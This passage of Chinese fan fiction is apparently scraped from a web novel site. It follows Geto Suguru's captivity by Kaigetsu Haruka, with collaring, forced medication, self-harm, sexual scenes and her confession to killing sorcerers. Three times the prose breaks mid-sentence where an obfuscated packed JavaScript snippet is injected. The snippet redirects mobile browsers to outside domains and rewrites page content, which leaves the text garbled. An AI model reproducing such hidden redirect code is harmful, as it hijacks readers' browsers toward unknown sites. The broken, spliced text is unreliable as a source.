虽然听起来很好笑,他有时候还会“小家子气”地想她在哪里,在和谁说话,会不会因为某个完全不重要的人露出与平常不同的表情。 她曾经的同桌藤原、常在大阪出任务时遇到的山田监督、常去甜品店里的金发服务员……他都已经防了十多年,要是在他缺席的这个月,这群家伙就像是死不悔改的臭虫一样黏上来怎么办? “小遥,跟我说说你平时的生活吧……”他轻咬着她的耳垂,低声在她耳边呢喃。 “不打游戏了吗?”她还记得他们曾经的相处方式,诧异地反问。 “我更想知道小遥的事情。” 她似乎在回忆,然后回答:“和平常一样。” “……跟平常一样?”他意味不明地问道。 就算平常的生活里没了他? “1。”她不明白他的暗示,还肯定地点头。 察觉到夏油杰不满地咬着她的后颈,海月遥反倒是觉得奇怪起来。 “本来就是啊。”她往后一靠,给了他一个头槌,“平常不也是忙完后和杰在一起吗?” “小遥……” “嗯?” “我好爱你~”他的笑容可以称得上灿烂,亲昵地用脸颊蹭了蹭她的脸庞。 感觉自己被狠狠吸了一口的海月遥:…… 莫名其妙。 “谢谢。”她矜持地点头回应。 …… 夏油杰觉得她来的时间越来越短了,匆匆过来又匆匆离开,只是短暂地和他温存一段时间,留下一个极轻的吻就起身离开。 按照他以前的经验,最忙的时候就是夏季,像秋冬的时候完全没有那么忙。那为什么不能像之前那样来看他? 人的欲望总是这样,不断膨胀。 明明之前希望她好好休息,可现在夏油杰却又不禁埋怨她起来。 为什么不多看看他? 难道是对他的兴趣已经减退了吗? 等待的时间漫长无比。 漫长到他神经紧绷,连白炽灯的光芒都变得刺眼,只有他一人的房间里那细碎的嗡鸣声也令人心生厌烦。 烦躁,烦躁。 本来还在等待的夏油杰突然意识到什么。 他按下按钮,机器送来药物。在摄像头的监视下,他展示完空荡荡的口腔后,项圈的铁链就会放松延长。 相比海月遥亲自检查,他觉得这样更容易糊弄,假装吞药也不算太难。不过,现在不吃也没有好处,他还是将药咽了下去,然后坐在门边等待。 他没有胃口,不想看书,对游戏也毫无兴趣,只是托着下巴坐在门口,脚尖时不时点地,发出“哒哒哒”的声响。 不知过了多久,门终于开了。 海月遥刚迈进半步,就被夏油杰紧紧拥入怀中。他温热而潮湿的呼吸拂过她的颈项,带来一丝酥痒。她并未挣扎,只是踮起脚尖,轻轻拍着他的后背,任由他拥抱着。 “怎么了?”她问道。这是她少有的几次进来时,夏油杰没有坐在角落。虽然他总说无聊,但那个按钮他几乎没用过,大部分时间都是她喂了药他才自由活动。 今天怎么这么反常? 她回抱着夏油杰,发现他又瘦了些。 “杰?” 夏油杰没有回应,也没有抬头,只是更加用力地收紧了手臂,两人紧紧贴合在一起。他的动作中透露出一种近乎贪婪的渴望,仿佛要将她融入自己的身体。 这么近的距离,他应该能听到吧? 海月遥疑惑地抬头,只能瞥见他的侧脸。 他没有笑,郁结的深紫一眨不眨地锁定着她,细如柳叶的弯眉蹙起,不知道是埋怨还是委屈。对上她的视线后,他终于舒展眉眼。 “欢迎回来。” 他笑着松开她,弯下腰对她说,任由她捧起他的脸,揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173974|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱他的黑发。 可爱的小狗。 海月遥也露出极浅的笑。 “嗯,我回来了。” 你最近很忙吗? 他这样想着,亲吻她的嘴角:“我好想你。” 海月遥不置可否地点头,却又怜爱地回吻。在接吻的间隙,她轻声问道:“今天怎么在门口等着?” “我想更早地抱着小遥。”他笑道。 “抱歉。”海月遥沉默片刻后解释,“最近比较忙,而且可能之后会有几天来不了。” “……没关系。” 夏油杰理解似的笑着,目光不着痕迹地扫过她光裸的大腿,目光深沉。 遥有秘密瞒着他。 他被关在这里是9月21日的事情,一个多月过去了,外面已经是秋冬,她为什么还穿着夏季校服? 他这房间里是恒温没错,但他那懒惰的青梅可不会特意换成夏季校服。最多只是脱掉外面的厚衣服,而不是整齐地穿戴全套制服。 那她为什么要穿成这样? 他敛起眼底的深思,笑着说道:“小遥再跟我讲讲你平常的生活吧~” “0。”海月遥不解地看向他,“之前说过。” “可我还想知道得更详细些嘛~”他牵起她的手,这些日子,他似乎已经毫无羞耻之心,以往说不出口的撒娇语气现在运用自如。他故意拉长声音,弯下腰,与她十指相扣,歪着头,亲昵地蹭着她的手背,眯眼笑着。 他假装苦恼地叹了口气。 “小遥每天分给我的时间这么少,可我所有的时间和心绪都系在小遥身上……肯定会忍不住想知道我不在时,小遥在做什么。” “伟大的海月大人,就不能满足可怜的夏油杰这小小的愿望吗?” 海月遥眨了眨眼。 “0。” 冷酷无情的女人! “啊,可怜的夏油杰想着这些事情想得吃不下饭,睡不着觉……” “真的?” “当然是真的~” “好吧,那就跟你说。”她最终妥协了。 两人随意地坐在一旁,海月遥说着自己在高专的日常生活。 显然,海月遥不是一个好的叙述者,任何事情从她口中说出,都像榨干水分的甘蔗渣,干涩乏味。 但夏油杰却是个很好的倾听者,偶尔还会搭话,让她的讲述不那么单调。然而,这种捧场只持续到药效发作,他沉沉睡去。 海月遥平静地看着他的睡颜,放松地依偎着他。 …… 等夏油杰醒来时,睁眼便看见海月遥靠在他肩上,安静地睡着。 这是他这么多天来,第一次看见她毫无防备地入睡。他调整姿势,让她睡得更舒适。 小遥果然有事瞒着他。夏油杰回想起睡前两人的对话,她大致能描述出事情经过,但一旦追问细节,她就含糊其辞。 他垂下眼眸,仔细打量着她的睡颜。她睡得并不安稳,微微蹙眉。 她最近的状态似乎也不太好。 夏油杰环住她的腰肢,手轻柔地在她身上游走。虽然她一直标榜自己“完美”,但他现在却能明显感觉到她瘦了些。 啊,终于找到了。 夏油杰找到了那把能解开他项圈的“钥匙”。 明明可以收进咒具,为什么还随身带着?还是说,已经对他不设防到这种程度了吗? 这可不行。 他不带感情地笑着,手指在钥匙上暧昧地摩挲,就像两人相拥时他挑逗她一样。 可怜的小遥。 当海月遥睫毛微颤,迷糊地睁开眼看向他时,夏油杰立刻换上一副柔情的笑容,低头亲吻她的额头。 他有机会了。 他这么想着,笑着问:“不再睡会儿吗?” 再多信任他一些吧。 他的小遥。 52.夏油be线(十二) 当人被囚禁时,时间感会变得错乱。 夏油杰判断时间的方式,主要依靠定时自动开关的灯和自己的睡眠情况。但自从对海月遥产生疑心后,他甚至对自己记下的时间也不确定了。 因此,灯刚亮起时,他微微拧开卫生间的水龙头,观察水滴缓慢而均匀地落下。等灯熄灭时,他再拧紧水龙头。 他打算记录下这几天灯亮的时间段长度。 如果海月遥过来,她敏锐的五感一定能捕捉到水滴声。但上次她已提前告知这几天没空,所以现在是他的最佳时机。 结果…… 果然有问题。 这几天灯亮的时间长短截然不同,越往后,灯亮的时间越长……而且也远远超出误差允许的范围。 因此,他记录的具体日期完全不对。 今天不是第47天。 他还以为等待时间变得漫长只是心理因素作祟……没想到是海月遥在背后操控。 她完全有能力做到这点。 无论是控制灯光开关,还是调整他服用的药物效果,她都能让他睡更久且不被他察觉。 但她为什么要这么做? 仅仅是为了履行“每天来看夏油杰”的承诺? 这显然不是正确答案。 而且,她现在大概率也没呆在高专了。 夏油杰冷静判断着。 现在囚禁室的灯光更替周期已超过一天。此时的时间,比他原本以为的十一月初更晚。 这个时间点的温度,他那自幼容易生病的青梅可不能在外面还穿着夏季的校服。但为了不让他察觉到异常,她却会特意换校服。 只是房间里的温度迷惑了她,让她在换衣服的时候下意识选了夏季的校服。 她到底在干什么? 为什么又要瞒着他? 这件事是从什么时候开始的? 他想起她愈发纤薄的身形,和那天不安的睡颜…… 要问她吗? 还是试探一下吧。 …… 可试探的机会却迟迟没有来,她很久没出现了。明明说是只去几天,但夏油杰也知道这个“几天”的具体时间存疑——毕竟囚禁室的“一天”可比现实的一天长得多。 她怎么了? 夏油杰不由得担心起来。 此刻他又恨自己是被锁在这里,无法出去得知她的情况。 当然,即便这几天她不来,夏油杰倒也不至于饿死自己。她细心地在这个房间里放了不少速食,只需要夏油杰吞下药后,锁链松开他就能自行解决生理需要。 可不安如同冬日里的寒风,穿透层层防御,瑟瑟发抖地填满他的心脏,直至将它挤压得几乎变形。 于是,当这次他按下那个按钮,准备吞下那粒药丸时,他的目光落在对准他口腔的摄像头上。猩红的光闪烁,却让他不由自主地想起那双高密度的蓝眸,想起那冰冷的深蓝。 “小遥,你在看吗?”他轻声问道。 显然监视器没有回答的能力,依旧是腥红似鲜血的光闪烁着,无声地嘲讽着他的期待。 夏油杰并不尴尬,只是继续自言自语:“小遥已经好几天没过来了,是什么任务需要你这么久呢?我真的很担心小遥哦……” 监视器依旧安静,一动不动地锁定他。 夏油杰意味不明地轻哼一声,手指捻起那粒小小的药片,伸出舌头,将药片按在粉红的舌面上。整个流程中,他还故意放慢动作。 “我其实很好奇,这个小小的监视器是怎么判断我有没有吃下药的。” 他说完闭上嘴,喉结上下耸动,似乎真的已经吞下了药。他对着那送药机器上小小的摄像头展示空荡荡的口腔,脖子上的束缚就松懈不少。 夏油杰却没有急着站起身,弯腰咳嗽着,最终,他从喉咙边缘抠出那粒还粘着津液的苍白药片,抬眼斜睨着那个闪着红光的摄像头。 “骗~你~的~我根本没有吞下去~” 他吐着舌头,笑得恶劣至极,眼尾因为刚才的咳嗽而泛着靡靡的红晕,如同盛开的妖艳之花。 可那监视器却没有丝毫反应。 夏油杰的脸色瞬间冷了下来,他狠狠地捏碎手中的药片。但下一刻,他又换上了艳丽至极的笑容,轻快地站起身,往前走动几步。项圈上连着的铁链并未如他所料那般收紧。 “小遥就连这个也不管吗?” 他哼着有点像海月遥常唱的不成调的曲子,轻松地转了个圈,冷眼睥睨着角落里的监控器,然后勾起一抹灿烂至极的笑容。 “理理我嘛~” 他笑着说着,语气中带着撒娇的意味。 然而,下一秒,他却硬生生地捏断自己的胳膊。左手无力地垂下,鲜血顺着手臂流淌,滴落在光洁的地面上,如同盛开的彼岸花。 “砰!” 铁链骤然缩短,夏油杰的后背狠狠地撞上了墙壁。他剧烈地咳嗽着,仿佛要将五脏六腑都咳出来。但就在这时,从铁链处传导而来的波纹瞬间治愈了他身上的伤口。 “哈哈,我就知道……我就知道小遥你在看着我……” 他疼痛难忍,笑容却灿烂到异常诡异,脸上的红晕更盛。那双富有古典美的狭长眼含情带俏地斜了一眼角落的监视器。 “小遥既然在看,为什么不回应我呢?” 他佯装不满地抱怨,脸上却带着笑意,“难道是想看我一个人自言自语的模样?” “真过分~” 他坐着时,铁链的接口处就高过脖子。此刻,铁链进一步缩短,他只得半蹲起身,微微仰头,露出修长清晰的颈线,在晃眼的灯光下显得格外脆弱与诱人,晶莹的汗珠也顺着曲线缓缓淌下。 “再多看看我嘛,小遥……” 他大半身体靠在冰冷的墙壁上,腿也半蹲着,时间一长,小腿肚开始打颤。可一旦松懈,颈圈就会勒得他喘不过气。于是,他说话时带上了颇为涩情的喘息。 “小遥生气了?这是……这是惩罚吗?” “哈啊……可明明是小遥先不理我的嘛……只惩罚我的话……嗯……是不是太不公平了……” 他的额角渗出细汗,垂落的碎发蜷曲地黏在脸侧,显得颇为狼狈。 “我很担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的腿还在发颤,也没起身,就瘫在地上,抬眼看向角落那依旧尽职尽责的监视器,血色的红光依旧牢牢地锁定他。 他朝监视器对面的她拉出一抹艳丽的笑。 “你、还、在、看、我。” 他一字一顿地做着口型。 监视器不回答。 可海月遥第二天就给了回答。 许久没见的她出现了。 依旧穿着那套漏洞百出的夏季校服,依旧是冰冷如霜的美人面。唯一不同的是,往日理智冷静的蓝眸中此刻充满了怒火。 不知道为什么,夏油杰现在想伸出手,用指尖触碰她清丽的眉睫,抚上她凉薄的唇线,指腹滑掠过她因为赶路还残留着寒气的黑发。 “生日快乐哟,小遥。” 他无视她的怒意,笑着说道。 现在是虚假的第51天,11月11日。 ——是她虚假的生日。 他要在她怒火中烧、难以理性思考时,戳破她所有的谎言。 把一切都告诉他吧…… 不诚实的坏孩子。 53.夏油be线(十三) “杰。” 海月遥缓步走到他跟前,居高临下地睥睨着他,那双薄蓝色的眼眸没有半点温度。她完全无视夏油杰之前那句温情的“生日快乐”,只是冷冷地注视着他。 “小遥,我好想你……”夏油杰不在意她的怒火,嘴里吐出裹满蜜糖的话,声音温柔得能滴出水来,“怎么才来看我……明明只有几天,可我感觉时间好长,好难熬……我真的好想你……” 他仰起头,项圈连接的锁链叮当作响。 海月遥表情冷漠,蹲下身,扯着他的长发,强迫他与她对视:“我给你解开手铐,不是让你自残的。” 她手上的力道不轻,扯得夏油杰忍不住微微眯眼,眉头紧蹙,但很快又舒展成柔和的笑意。他正欲开口说些什么,却突然察觉到一丝不对劲。 “你身上怎么有血的味道!” 夏油杰的眉头瞬间皱紧,攥紧她的手腕,迅速而又仔细地打量着她周身,试图捕捉着可能的疑点。见她沉默不语,他的语气更加急促:“你受伤了?!到底发生了什么!” “——告诉我,遥。” 海月遥任由他握紧自己的手腕,神色平静,语气淡然:“先回答我的问题,为什么要自残?” “我担心你。”夏油杰轻声说道,“小遥已经很多天没出现了。我被关在这里,也不知道你最近怎么样……我真的很担心……只有那样做,小遥才会回应我吧?”声音带着自嘲。 海月遥不置可否,淡淡地扫了眼他紧蹙的眉头,以及那满是担忧的表情。 “我明白了。” 她挣开他的手,转而抚上他的脖颈,冰凉的触感让夏油杰下意识打了个颤。她只是继续说道:“这种事不允许发生第二次。” “我答应你。”夏油杰温驯地笑着,眼睛却一眨不眨地观察着她的反应,“那小遥呢?现在轮到你回答我的问题了。” 她身上为什么会有血味? 海月遥平静地吐出两个字:“月经。” 夏油杰:……? 他的担忧与怒气瞬间凝固,下意识反驳:“你不是才……” 海月遥打断他:“月经不调。” 夏油杰:。 这话他怎么接? 两人一时间都陷入了近乎尴尬的沉默,不,或者说只有夏油杰一人在尴尬,海月遥只是奇怪他怎么突然没声了。 ……等等,别被她绕进去了。 “遥在撒谎。”他试图找回谈话的主动权。“我以前从来没有闻到。” “0。”海月遥顿了顿,“杰的嗅觉变强了。” 她面无表情地鼓掌:“恭喜你。” 啪啪啪。 夏油小朋友真厉害~ “我……” 夏油杰还想说些什么,却被海月遥再次打断:“能别说了吗?”她后退几步,整理着裙摆,“感觉好变态。” “你……” “恶心。” “啊……” “下流。” “不……” “呕。” 夏油杰被击沉了。 盘算、计划等念头全在他脑中消散,夏油杰只能看到她那嫌弃如看垃圾的表情。 海月遥甚至不再质问他,匆匆洗了个澡。不过,这次洗完澡后,她仍穿着自己的衣服。 “想到杰以后会嗅我穿过的衬衫上的味道,我就觉得恶心。”这是某人的原话。“变态。” 夏油杰……夏油杰快死了。 血腥味有这么明显吗?海月遥望着他灰白的脸色,试探性地闻了闻自己身上,明明来之前已经换过衣服……差点就露馅了。 “别转移话题。”夏油杰终于恢复过来,咬牙切齿地说,“不要糊弄我,我知道你在撒谎。” 好吧,已经露馅了。海月遥心想。 “任务里死了人。”她不再挣扎,表情平静,仿佛在说一件无关紧要的事情,语气中没有丝毫波澜。 夏油杰语气关切:“你有受伤吗?” 她瞥了他一眼:“没有。” “那就好。”夏油杰露出一抹释然的笑容,目光扫过她光裸的大腿,却并未直接戳破她的谎言,“对了,小遥,生日快乐。” 海月遥一怔。 “我一直有记下时间哦。”他像是小孩邀功一般,拉长声音撒娇道,“今天是11月11日,小遥的生日~” “为什么小遥看起来这么吃惊?”夏油杰侧头笑道,“难道悟和硝子没给你庆祝吗?” 海月遥沉默不语。 “这个反应……这么说我还是第一个?真幸运~”他朝她伸出手,待她弯下腰时,温柔地抚上她的侧脸,指尖轻轻摩挲着,“我好高兴,第一个说生日快乐的是我。” “杰知道时间?”她平静地反问。 “那还不是多亏了小遥。”他笑容灿烂,可眼底却没有丝毫笑意,“房间里的灯会定时开关,所以我就记下来了。而且小遥每天也会来看我一次嘛~” “我不会记错的……我清清楚楚记得在这里的每一天……”他勾住她的脖子,像是蟒蛇缠绕猎物般,将她紧紧搂在怀里,仿佛要将她揉进骨子里。“所以我知道,今天是11月11日。” 他侧过头,埋在她的脖颈间,贪婪地嗅着她身上的味道,还能感受到她带着凉意的湿润发丝拂过他的眼尾。 “所以,小遥是任务一完成就回来看我了吗?”他眯眼笑道。 “……嗯。” “好高兴~”他亲吻着她的眉心、鼻尖、唇角,最终在柔软的唇瓣上辗转缠绵。 海月遥以为他是像往日那般撒娇,也就顺势坐下来,任由他的动作,也没有多说什么。 “这么急着赶回来,不会冷吗?”他直到吻到两人毫无缝隙地贴合在一起,双腿交叠,身体开始微微发烫后,才轻声问道。 “还好。” 她开始慢条斯理地解扣子,夏油杰这样的举动意味着接下来会发生什么,她已习以为常。深色制服沿着她笔直的脊背滑落,单薄衬衫下的身体显得更加纤细,宛如承载了厚重白雪的冬枝,仿佛随时会被积雪压弯。 夏油杰温暖的手掌从衬衫下摆悄悄探入,轻抚着她的腰,又揉捏着那团冷白的软肉。 “好冷……”他像初次见到冬日初雪的孩子,惊奇地捧起手心中的雪花,夸张地感叹道,“你真的不会觉得冷吗?” “等一下就会暖和起来。” 海月遥已经完全解开了纽扣,大片的雪白胴体展现在他眼前。 “也是。”夏油杰笑道,“不过,外面还真冷呢……小遥,你又不照顾好自己,这个天气还穿着短裙……” 他一只手顺着她的大腿曲线上滑,仿佛漫不经心地把玩着上好的玉石。 “明明十一月了,还穿着夏季的校服……我真的很担心小遥呢……”他尾音上扬,多了分说不清道不明的韵味。 海月遥一僵,正欲开口又被他打断。 “还是说,你是因为要来看我,才特意换了衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14199612|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服?毕竟我这里很暖和。”他体贴地为她找了个蹩脚的借口,却又立刻毫不留情地戳穿,“你都没回去做任务述职,第一时间就急着来看我,还有时间换衣服?” “遥,你好奇怪。” 夏油杰笑着,紧紧将她搂在怀里。深紫色的漩涡在他眼底旋转,仿佛要将她一同拉入深渊。尽管他笑得温和,声线却阴冷至极,如同注视着猎物的毒蛇,嘶嘶作响。 “今天不是11月11日。” “你没有在高专出任务。” “你刚刚说的话,全是骗我的。” 他冷声,一句句列着她的罪证。 “为什么要瞒着我?你到底在做什么?” “——遥,回答我。” 两人毫不相让地对视。 “我似乎没有义务回答杰的问题。”良久,海月遥开口,她完全不受他步步紧逼的影响,高密度的蓝宛若千年寒冰。 “夏油杰,认清你的处境。” 夏油杰先是沉默,又拉出扭曲的笑容。 “如果遥不告诉我事实的话……” 就在海月遥以为他要说什么气话时,他皮笑肉不笑地说道:“我会绝食。” 他语气毫无起伏,演技更是要比电视剧上最拙劣的演员还要烂一百倍。 一般来说,只有小学生在生气犟不过大人时,才会把筷子一摔,气呼呼地说“不吃了”,等待操碎心的父母来哄自己。当然,也有很多时候是挨一顿更惨的骂。 可偏偏是这句话,让海月遥第一次露出相当凝重的表情,她认真地反驳:“不行,三餐都得吃!杰现在太瘦了!” 千年寒冰遭遇温室变暖,瞬间融化! “那你告诉我。” “0。” “我会绝食。” “……我可以塞进杰的嘴里。” “我会吐出来。” “……就这么想知道?” “嗯。”夏油杰终于克服掉心中学小孩子耍脾气的尴尬,没脸没皮起来,“告诉我,就现在,不然我就不吃饭了!” 他甚至开始反过来催促海月遥! 海月遥大惊失色。 “真的很想知道?”她语气不明地反问,“知道这些对杰没有好处。” “嗯。” 海月遥原本已弯下的腰挺直,神色复杂地看着眼前的人。头顶的白炽灯不安分地闪烁着,惨白的光芒在空间中跳跃,却又被她那偏长的刘海轻轻遮挡,只留下一片片细碎的光影。那双隐藏在阴影中的薄蓝色猫眼,一动不动地盯着他。 这次的沉默异常漫长,夏油杰隐约感到了什么,薄唇紧抿。 “我现在是诅咒师。” 她冷不丁地开口,却如平地一声惊雷,激得夏油杰不可置信地睁大眼,他紧紧攥住她的手腕,求证般看着她。 尽管脖子被项圈勒得生疼,他还是倾身向前,声音颤抖,急切地追问:“你真的没事吗?发生了什么?是因为我的事情败露连累了你吗?如果是这样,你就把我交出去!我——” “不是的,杰。” 她平静地打断他,怜爱地捧起他日渐消瘦的脸庞,缓缓靠近。两人之间的距离不断缩短,仿佛连空气都被压迫,他的声音越来越小,最终只是沉默地看着她的眼睛。 她几乎要吻上他,却又停下,湿润的黑发滑落,滴在他的脸颊,然后顺着弧度滑落。 黑色的眼泪。 “我杀了人。” “是咒术师。” 54.夏油be线(十四) 夏油杰嘴唇颤抖着,却发不出任何声音。 你真的没事吗?是不是被冤枉了?你现在来看我没关系吗?那些咒术师,他们是不是对你做了什么?你为什么会走到这一步?还是说难道是因为我,你才…… ——是我连累了你吗? 无数疑问在他脑海浮起又沉下。他不敢再想下去,每一个念头都像是锋利的刀片,割得他鲜血横流。 他很清楚,海月遥没有撒谎。 明明他自己犯下了不可饶恕的罪孽,他却觉得她就应该纯白无瑕,远离一切血腥与罪恶。她本就应该是孤高的海上月亮,冷漠地俯视所有人。 可现在她却成了诅咒师。 可她现在被自己拉入了泥潭。 尽管她什么也没说,夏油杰已经认定她是被自己牵累。如果非要这样,还不如…… 还不如在那一天就向她伸出手,问她: “你要和我一起走吗?” 既然注定都要堕落,他宁愿亲自拉她一起沉沦,让他来给她染上其他颜色。 见他不说话,海月遥也不解释,神情恹恹地站起身,一言不发地开始系上衬衫的纽扣。 苍白的肉/体在雪白的衬衣下若隐若现,与周围惨白的光交织在一起,格外刺眼。被水汽压下的黑发如同乌云,更显得她单薄的身影不堪重负。 她一句话也没说,夏油杰却觉得她随时都会被这缥缈的光压倒,被四周的空气淹没。 必须得说些什么。他意识到这点。 “遥。” 正准备披上外套的海月遥平静地低头看向他,薄蓝色的猫眼如同深邃的湖水,静静地等待他的下文。 “我……”夏油杰却发现自己不知道该说什么。他张了张嘴,最终只是讷讷地问了一句:“你真的没有受伤吗?” “……没有。”她对这个问题有些意外,先是一愣,才冷淡地回答。或许是期盼着什么,她又问道:“杰还有别的问题吗?” 她就站在离他不远的地方,伸手就能触碰到。夏油杰看着她,努力让自己的声音听起来轻松一些:“你最近是不是瘦了?也没睡好,都有黑眼圈了。” “真失礼,我可是完美的美少女。”她又猛地拉开衬衣,露出里面的肌肤。她皱着眉,厉声谴责眼睛小小的竹马。 “……抱歉。” 她矜持地点头:“我原谅你了。” “你只穿这点衣服会很冷吗?”他又开始找着其他话题。 她露出看笨蛋的眼神;“房间里是恒温。” 夏油杰又说道:“……你下次来就不用换制服了,很麻烦。” “嗯。每次都要系纽扣,很烦。”她赞同。 “……对了!要不要先吹吹头发?”他又搬出来她以前的话,“头发这样湿着,披久了容易头疼。我来帮小遥吹吧。” 海月遥淡淡地应了一声,算是同意。她没有再要求喂药,只是松开束缚他的铁链。但夏油杰却反常地要求了药片,并当着她的面吞下去,甚至还让她检查。 “没必要。”海月遥不在意地瞥了他一眼,连日常的流程也不走,直接找出吹风机,随手递给了他。“你来吧。” 夏油杰接过吹风机,动作温柔地拂过她如云般的发丝。整个房间里,只有吹风机呼呼的风声,两人之间再无其他交流。 直到吹完头发,收好吹风机后,他才终于忍不住,从背后紧紧拥抱着她,仿佛要把她揉进骨子里。 “对不起,遥……对不起,对不起……”他一遍又一遍地道歉,头埋在她的肩颈,声音低沉而沉闷,“真的对不起……” 无关对错,他不想评价她的行为,心中只有深切的愧疚。 “为什么要道歉?” 海月遥依旧挺直脊背,像根不会弯折的青竹。她一手向后,轻轻抚上他的侧脸,眼底流转着蓝色,不轻不重地瞥了他一眼。 “杰以前就很喜欢把不属于自己的责任揽到身上。” “我做的事,都出于本心。”她缓缓开口,“为什么杰会觉得这是你的问题?而且,我也不觉得自己做错了。” 她接着说:“杰,别把自己看得太重。怎么还像以前一样,看到有人落水就想伸手相助。但不是所有人都值得你帮,也不是所有人都需要你帮。” “杰就是这样把自己压垮的,对吧?” “笨——蛋——” 见他不吭声,海月遥轻笑,挣脱他的怀抱,轻盈起身,回望一眼低头坐在原地的夏油杰。在她即将走出囚禁室时,他的声音响起。 “告诉我发生了什么。” “全部。” “现在。” 他没有抬头,郁紫色的眼眸向上,死死盯着她的身影。 “杰没必要知道。”海月遥在门口停下,语气平静,“你也帮不上忙,知道了只会徒增烦恼。” 她稍作停顿,补充道:“如果杰因此吃不下饭、睡不着觉,我会很困扰。请不要给我增加无意义的负担。” 夏油杰勉强挤出一丝笑容:“不知道发生了什么,我只会更担心。告诉我吧,遥。” 海月遥静静地看着他,最终叹了口气,露出“拿你没办法”的无奈表情,缓步走进房间,也没去他身边,而是随意找了把舒服的椅子坐下,漫不经心地撑着下巴,两腿交叠。但夏油杰却主动走向她,伏在她膝上。 他温驯的模样让海月遥一时恍惚。以前的话,他总会从背后撑在椅背上,弯下腰与她闲聊。如今,他却像被她圈养的宠物,下意识地讨好她,趴在她膝上,连威胁都显得那么无害。绝食……就像小孩子一般。 他的棱角似乎已被她磨平,失去往日的少年意气。 明明才过了67天。 海月遥一向奉行“顺从本心,无悔过往”的原则,可此刻,她却在怀疑自己是否做错了,不该如此驯养他。 在这个小小的房间里,她是他唯一的色彩,唯一的依赖。她给予好孩子奖励,给予坏孩子惩罚。他被动地接受一切,最终在痛苦与窒息中学会了她灌输的准则。 她原本并不想这样对他。 海月遥终于意识到两人关系的扭曲。此刻,她只能怜悯地捧起他的脸,亲吻他的鼻尖,轻声说道:“不用担心。” “只是上面的老东西的垂死挣扎罢了。” 她垂下眼眸,目光在他俊秀的五官上徘徊,最终停留在他如蝶翼般轻盈的眼睫上。 “我正在进行改革,杰。” “不合理的体系,烂透的力量结构,这才是导致杰痛苦的根本原因吧?”她 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他们都知道那个人的死因。毕竟,她把那人的碎肉收拾好,分批寄给了他们所有人。海月遥薄蓝色的眼里满是冰冷。现在,他们大概都在惴惴不安地等待她的裁决,尤其是这次暴露事件的主谋。 她脑海又浮现出额头上有缝合线的男人。 总之,她会处理好一切的。 可笑的是,明明她也没做什么,只是要改革现在咒术界的政策,他们却疯狂反对。 原本场面不会这样血腥的。真是学不乖。等这件事结束后,再去整顿一下吧。 海月遥这么想着,又说道:“我会让你看到更美好的咒术界的,杰。” 她口中的话让夏油杰手脚发冷,他需要说些什么,却又咽了回去。可俯视着他的海月遥却觉得他这幅欲言又止的表情也可爱极了,又怜爱地亲吻着她可怜可爱的小狗。 她还做了其他事。不过杰问的不是这件,就没有必要说了。海月遥心想。 …… 之后的日子里,夏油杰再也没有见过那套高专制服,囚禁室的灯光开关也恢复了正常的频率。海月遥不再瞒着他,连检查吃药也开始分心,每次来这里的时间也越来越短。 这是更信任他了吗? 夏油杰不清楚,但他宁愿不是。他总觉得心脏像被无形的手攥紧,挤压得他愈发不安。每天,他都要反复确认她是否平安,才能稍稍松口气。 他在担心,担心她在自己看不见的地方受伤。只有她一个人面对这一切,是否又太过残忍。而且,一切结束后,她又该何去何从? 她和自己一样,已无容身之所。 “遥,你真的好好休息了吗?”短暂的温存后,他从背后搂着她纤细的腰肢,侧头亲吻她的脖颈,目光掠过如雪的后颈和光裸的脊背,打量着她的全身。 她有时看起来很累。 “或者,让我来帮你吧……”他主动提出,“我至少还有点用。” “杰,你不还是在怨恨非术师吗?”海月遥侧过头,冷眼看着他,“理念不同,没必要掺和我的事。” 这个时候不容许有不同的声音。 夏油杰哑口无言。 她却漫不经心地转过身,捧起他的脸,碾咬着他的唇瓣,拉着他继续坠入沉沦的情欲。 两人各怀心事。 55.夏油be线(十五) 得想办法出去,不论是为了他,还是为了她。夏油杰的决心比以往更加坚定。 距离之前坦白已经过了大半个月,海月遥已经完全在他身边卸下防备了——或者说,她根本没有多余的心力去处理他的事情。 有时候夏油杰醒来时,睁眼看见的就是她安静的睡颜。或许是她来的时候他还没醒,她也不想直接吵醒他,就默不作声地等着,最终抵抗不住积累的疲惫,昏昏沉沉地睡去。 她的事业或许没有她说的那般轻松,他能看见她眼下的黛青,以及那愈发苍白的肌肤。隔着一层近乎玻璃般透明的皮肉,隐约可见薄青色的水流在血管里流淌。 他轻柔地抚上她的侧脸时,甚至担心她会如冬日初雪般在他手中融化。 夏油杰清楚钥匙在她哪个口袋,也懂得如何敷衍过她的检查。 现在,他只需等待一个时机,一个她足够疲惫,彻底放下防备的时机。 …… 今天的海月遥看起来似乎比以往开心许多,虽然还是那副恹恹的神情,夏油杰却莫名觉得她心情不错。 看来是发生了好事?他揣测着。 当他问出口时,她淡淡地回了一句:“搞定了一个讨厌的人。” 